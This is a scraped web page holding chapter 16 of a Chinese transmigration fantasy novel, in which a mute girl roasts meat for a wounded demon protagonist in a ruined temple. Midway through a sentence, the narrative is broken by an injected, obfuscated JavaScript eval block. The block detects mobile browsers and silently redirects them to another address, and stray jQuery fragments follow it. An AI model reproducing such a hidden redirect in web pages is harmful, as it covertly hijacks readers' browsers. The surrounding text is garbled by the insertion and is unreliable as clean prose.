默认冷灰
24号文字
方正启体

16. 016

作者:池映澄本书字数:K更新时间:
    这是嘲讽吧?刚一见面,她就被嘲讽了?


    从剧情里扒拉出气运之子的名字,容峣心道,好好好,澹云天是吧,记住你了。


    心里这样想,她的身体却同那穿山甲一样微微颤抖着,恨不得把自己团起来,好降低存在感。


    视线在一人一兽中游转,澹云天像是被这相似之处逗乐,嘴角微勾却扯动伤口,让他不由轻嘶一声。


    将抓住的小东西顺手扔出去,他跨过倒塌的外墙,信步走进破庙。


    在他身后,原本已经破碎的阵法重新焕发生机,四散的魔息完全收聚其中,一看就比之前随手设下的精妙许多。


    行,给她用的是破烂,给自己用的倒是上心,容峣在心里又默默记上一笔。


    将头埋在膝间,她只能靠感知捕捉动静,因此错过澹云天重建阵法时,瞳孔微缩的一点异常。


    阵法被人动过,在发现明确的痕迹前,他直觉般地升起这个念头。


    但即便是仔细探查,也找不到半点他人侵入的迹象,澹云天睫毛微垂,眼底划过一抹兴味。


    有意思,若是搁在平常,他未必能发现这点。


    要不是今夜他受伤够重,魔脉奄奄一息,激发了体内妖脉的求生本能,直觉被放大到极致,还真不能察觉到这丁点儿的变化。


    视线落到唯一的活人身上,澹云天毫不客气地用魔识扫一遍,确定人还是这个人,没有被易容替代的可能,就连姿势都同他外出前差不多。


    白日里还因为她难得睡着,他好心地连打架都离远了点,免得这小哑巴一副随时要在他面前断气的模样。


    却没想是他看走眼,这胆子大了可不止一星半点。


    心底微哂,他故意抬脚走近,眼见那截暴露在火光中的脆弱脖颈越发往里缩,澹云天泛白的薄唇微启,刚要说点什么,却毫无预兆地侧头吐出一大口血。


    感知到魔识堂而皇之地扫过全身,容峣心里一紧,迅速回想是否在哪里露馅。


    只是还没等她找到线索,一步一步朝她靠近的脚步声响起,让她的身体也不由随之绷紧。


    而后,面前的人呼吸微重,似是想说什么,只是还没等他开口,浓郁的血腥味瞬间钻入鼻腔。


    容峣很快反应过来,却陷入更大的迷茫。


    这是作甚,特意过来吐口血恐吓她?


    就在她思考要不要配合这幼稚的把戏,装出受到惊吓的样子,面前突然传来重物落地的声音,同时空气中弥漫的血腥味一扫而空。


    “烤上。”


    丢下这两个字,澹云天转身回到另一边,靠近外窗铺着软垫的角落,自顾自调息。


    等庙里只剩下呼吸的动静,容峣才微微抬头,同地面上近在咫尺,不知从哪剜出的一块嫩肉大眼瞪小眼。


    随后她慢慢转动脖颈,并未发现吐出的血迹,仿佛刚才的锈腥味儿只是错觉。


    这是已经被人收拾干净?


    将视线重新转回嫩肉上,容峣从原主的记忆得知,气运之子偶尔会自己弄吃的,但叫她做,这还是第一次。


    两人虽一路逃亡,但彼此间的交流几近于无,原主就像一道影子,虽然害怕也要紧紧跟着气运之子。


    因为天大地大,她已无处可去。


    思绪回到当前,容峣盯着那块肉,眼睛一转,反应过来。


    这是气运之子装模做样不成,恼羞成怒的借口?


    摸了摸只服用过辟谷丹,空空如也好几天的腹部,容峣打算假装不知气运之子吐血一事,顺着这个台阶下了。


    捡起用宽叶包住的嫩肉起身,容峣走向最中心的篝火处,却发现火种早已熄灭,而她现在连点火的灵力都挤不出来。


    转头看了眼闭眼调息的人,正当她揣摩着原主的语气,准备开口求助时,身侧的篝火堆猛地自燃。


    高高跃起的火光直冲房顶,容峣毫无防备,愣是被燎了一撮额侧的枯发。


    热意自身侧涌来,她暗自咬牙,等火势小下去后憋屈地坐到旁侧,用先前削好的树枝将肉块串在上方。


    没事,她忍。


    反正快死了,没必要计较这些细节。


    趁肉烤在火上,她打开原主的芥子囊,在里边翻翻捡捡。


    根据脑中的记忆,原主是吕家本就卑微的旁支生下的孤女,父母早就死了,又因为灵力低微在家中连杂役都不如,一直干着丫鬟的活在厨房帮工。


    因着这层身份,她的芥子囊里,除了一些鸡零狗碎的玩意儿,杂七杂八的调料最多。


    看着掏出来的瓶瓶罐罐,容峣确认气运之子不知原主的手艺如何,当即决定大展身手,给自己做一顿美味的断头饭。


    嫩肉的油脂滋滋滴落,等调料撒匀抹好,容峣分出一丝心神,悄悄看向隔着六七步距离的人。


    方才并不是错觉,大火不一定是他故意的,其中夹杂的魔气混乱无序,大抵是无法精准控制所致。


    气运之子受的伤,比她想的还要重。


    眉心微微蹙起,容峣虽然知晓气运之子生命力顽强,但根据剧情后边还有场刺杀,然后才是他暴走、她下线。


    这个状态,让她很难不怀疑澹云天能不能撑下去。


    秉持着这种疑惑,在控制火力的同时,容峣时不时向他的方向投去一眼,半刻钟后,随着对方大剌剌破了个小境界,她总算放下心来。


    不愧是魔族,他的功法带着疯劲,简而言之七个字——


    置之死地而后生。


    被打得越狠,性命越垂危,突破就越顺利,最大的坏处,大概是一不小心就容易玩脱。


    这届气运之子还挺有意思,眼前这人和封玉衡,多少都沾点受虐的倾向。


    身上的伤已经好得差不多,感受着充沛的魔气,澹云天在睁眼前,先被浓郁的烤肉香气占据感官。


    魔族向来随心所欲,他虽不重口腹之欲,但回来的路上遇到不长眼的东西,剜块肉也是顺手的事。


    丢给她是意外,同样这勾人的香气,也让人意外。


    吕家自视甚高,平日里用得也是灵食,若他没记错,这灵脉残破的小丫头,连灵食都处理不了,只能干点烧火的活,又是何时练得这一手厨艺?


    阵法的异动他还记着,让吕桦月动手烤肉,虽是临时起意,也有试探之意。


    而向来惧怕他的人,在调息之时看过来的几眼,却并未夹杂着任何负面情绪,这倒是新奇。


    莫非白日有谁来过?


    虽然他并不认为这小丫头,有同旁人勾结还面不改色的本事,却也隐隐觉得她似乎有哪里不一样。


    难道是终于想明白,知道该讨好谁了?


    慢悠悠地睁开眼皮,只见篝火边的人正握着把小刀,将串在两根树枝上的肉块一分为二。


    很寻常的动作,伴着空气中越发浓郁的肉香


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17532461|203733||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,却让澹云天微微愣神。


    记忆中那女人也擅长烤肉,同样不讲究精制细做,不像那些虚伪的仙修,吃个饭都要追求雅致,肉须得片成小块才能入口。


    她偶尔兴致来了,也会亲自动手烤肉,像这般直接一分为二,或者三......


    脑中多了个厌恶的身影,澹云天当即拉回思绪,略一垂眸便看到小丫头递过来的肉串。


    察觉到气运之子气息不稳,想到魔功易生心魔,容峣不愿节外生枝,索性上前打断他沉浸的思绪。


    修为到了一定境界,对大多数事情都会失去兴致,反而愿意在吃穿住行这些身边的小事上花费心思。


    再加上偶尔任务所需,容峣自是练得一手好厨艺。


    要不是受限于人设,她才不愿将亲自烤好的肉分出去,如今只能忍痛割爱。


    新奇地接过烤肉,这还是第一次,小丫头敢主动凑上来,澹云天正要嘲两句这会儿知道讨好人,先前做什么去了。


    甫一抬头,视线掠过她手中另一块时,他难以置信地又看了眼自己手里的。


    很好,有的人看似开窍,却只开了一半。


    维持着人设,在对方接过烤肉后,容峣打算退回角落慢慢享用,却没想被一道幽幽的声音止住脚步。


    “肉是我带回来的。”


    所以呢?容峣不解其意,只怯怯地垂着头等待下文。


    盯着她沉默的发旋,澹云天有些被气笑,直接上手将两人的肉串掉了个。


    “这样才合适。”说完也不管容峣反应,当即张嘴咬下一大口,啧啧称赞:“味道不错,先前真是埋没你了。”


    握着只有方才一半大小的肉串,容峣在心底无能狂怒。


    她就没见过这般小心眼的气运之子,一块烤肉也要斤斤计较!


    什么人啊,断头饭也要抢?


    幸好她的人设是个哑巴,不然真要忍不住开口骂两句。


    憋屈的小受气包默默转身,在没人看到的角落,愤愤将肉串全塞嘴里。


    唔,真好吃,不愧是我。


    吃饱喝足,澹云天继续巩固境界,容峣闲来无事,悄悄打了个呵欠。


    虽然下午睡了一阵,但远远不够补足这具身体的精气神,如今肚子饱了,容峣只觉睡意越发汹涌。


    气运之子已经入定,她小憩一会儿也没关系吧?


    这样想着,容峣将头埋在膝间,呼吸逐渐均匀。


    等澹云天从入定的状态微微回神,便察觉到庙内另一个人已经睡着。


    呼吸声很轻,却极有规律,看来睡得不错。


    探究地扫过一眼,看到她防备的姿势,澹云天冷嗤一声。


    既然这么害怕,还非要死皮赖脸跟过来做什么?同吕家那些伪君子一起早死早超生不好吗?


    脑子里浮现出几个关于她的模糊画面,无一例外不是被人欺负,毕竟只是用来发善心的借口,谁又真的关心她过得如何?


    弱小又可怜,还以为自己同她一样,偶尔送来几个干巴的白饼。


    山中幽寂,或许是因为想到往事思绪飘散,再加上身体有些疲乏,在微弱的呼吸声中,他竟渐渐也有了睡意。


    再次睁眼,是被外边的动静惊扰。


    不知为何,他第一反应朝吕桦月看去,而原本熟睡的人,竟比他还先醒。


    先前一闪而过的怪异感,再次微妙地升起。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)